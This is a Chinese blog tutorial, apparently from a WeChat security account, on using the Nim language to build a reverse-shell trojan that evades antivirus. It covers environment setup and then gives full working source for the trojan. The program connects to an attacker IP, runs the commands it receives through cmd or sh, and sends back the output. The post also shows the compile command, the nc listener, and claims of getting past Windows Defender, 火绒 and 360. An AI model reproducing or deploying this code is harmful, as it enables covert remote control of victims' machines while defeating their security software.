Nim之套接字免杀学习

微信公众号:乌鸦安全

更新时间:2022.03.18

说明

本文代码部分参考:

https://www.bilibili.com/video/BV1Yr4y1Y7qP/

1. 前言

Nim这个语言属于比较小众的语言,所以被杀软盯的可能小了很多,免杀上有奇效,本次学习是看到了一个使用Nim写的Socket连接的功能,然后封装为木马,目前依旧是免杀Windows Defender的;

参考链接:https://www.bilibili.com/video/BV1Yr4y1Y7qP/ 在这里我从环境配置到文件打包,做一个整理。

2. nim介绍

Nim 是一种静态类型的、编译型、系统编程语言。它结合了其他成熟语言的成功概念(如 PythonAda 和 Modula)。(参考:https://nim-lang-cn.org/)

3. 环境准备

测试机1:Windows 10 Windows Defender最新版 

测试机2:Windows Server2019 、Windows Defender最新版火绒联网最新版 

攻击机:Kali Linux

在以下测试中,均关闭Windows Defender最新版的自动上传样本功能。

4. Nim环境配置

4.1 Nim安装

https://nim-lang.org/install.html上选择下载Windows

 

然后选择x64位的下载:

 

Chrome浏览器下载的时候,会报毒:

 

在这里直接忽略就行了:

 

将得到的文件解压,然后再移动到C盘目录下(这个无所谓):

 

复制bin目录下的路径: C:\nim-1.6.4_x64\nim-1.6.4\bin

 

将该路径添加到环境变量中去:

 

按照这个步骤,选择系统变量之后,找到Path,编辑,再新建:

 

将信息填入之后,保存,打开cmd命令窗口,输入nim

 

此时代表Nim安装成功;

4.2 安装MinGW

MinGW是为Nim编译所必需的,MinGW主要是编译CC++代码用的,在这里一共有两种方式:

  • • 直接下载MinGW安装

  • • 利用Nim自带的程序finish.exe安装

4.2.1 直接安装MinGW

首先按照教程,安装MinGW 在这里有下载链接地址:

https://sourceforge.net/projects/mingw-w64/files/ 

下载最新版x64位版本:

64位系统建议选择x86_64-posix-sjlj 32位系统建议选择i686-posix-sjlj

MingGW64 版本区别于各版本说明 https://www.pcyo.cn/linux/20181212/216.html

将解压之后的文件放入到C盘根目录下:

 

然后来到bin目录下,使用命令行检查当前的gcc版本:

gcc.exe --version

 

然后就是和上面一样,设置系统环境变量:

控制面板\系统和安全\系统中,选择高级系统设置\高级\环境变量,设置环境变量:

 

MinGW添加到系统环境变量中去:

 

完成之后,确认退出:在新的命令行中尝试输入gcc.exe --version

 

此时证明MinGW安装成功。

4.2.2 利用Nim自带的程序finish.exe安装

Nim的环境中,有一个程序是finish.exe,可以利用该程序下载MinGW的安装包:

 

在命令行里面启动这个文件,一路Y下去之后,下载完成,利用自带的7z压缩工具进行解压,解压之后就是手动配置环境变量。

下载完成之后,来到下载文件的目录: C:\nim-1.6.4_x64\nim-1.6.4\dist\mingw64\bin 复制该路径,添加到系统变量中去,确认之后,打开一个新的cmd窗口,检测环境是否正常:

4.2.3 注意事项

上述的两种方法中只能使用一种,而且前提是先不使用Nim进行编译工作,否则会由于缓存问题导致第二种线上安装的方式编译出错。

4.3 安装winim库

下载地址:https://github.com/khchen/winim 在当前路径下,使用nimble install 安装即可。

5. Nim之套接字免杀学习

5.1 Socket代码

以下代码参考:

https://www.bilibili.com/video/BV1Yr4y1Y7qP/ 

在下面的代码里主要是需要自定义攻击机的ip和反弹的端口:

import net  
import osproc
import os 


var ip = "192.168.238.138"
var port = 55

var socket = newSocket()
var finalcommand : string

while true:
    try:
        socket.connect(ip, Port(port))
        while true:
            try:
                socket.send("<helloshell>")
                var command = socket.recvLine()
                if command == "bye":
                    socket.send("exit")
                    socket.close()
                    system.quit(0)
                if system.hostOS == "windows":
                    finalcommand = "cmd /C" & command
                else:
                    finalcommand = "/bin/sh -c" & command
                
                var (cmdres, _) = execCmdEx(finalcommand)
                socket.send(cmdres)
            except:
                socket.close()
                system.quit()
    except:
        echo ""
        sleep(5000)
        continue

其中定义攻击机的 ip :192.168.238.138,端口是55

5.2 源码编译

在得到代码之后,在上述配置好Nim环境的Windows10上进行编译:

nim c -d:mingw Nim_socket.nim

编译成功之后会得到一个exe可执行文件。

5.3 上线测试

首先在kali攻击机上开启监听: nc -lvp 55

然后在Windows的cmd命令行中执行木马:

等待一下之后,反弹成功:

5.4 免杀测试

Windows Defender

火绒

 

360按位置查杀

360按位置查杀,最好不要云查杀,不然样本会被上传。

6. 总结

在以上的测试中,主要是参考了以下的链接:https://www.bilibili.com/video/BV1Yr4y1Y7qP/ 

在作者的说明中,该免杀理论上还可以过卡巴斯基,由此也看到了Nim代码的魅力,也看到了免杀上有很多厉害的师傅;

静态免杀只是皮毛,动态免杀比较关键;继续向各位师傅学习学习。。。。

微信公众号:乌鸦安全

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值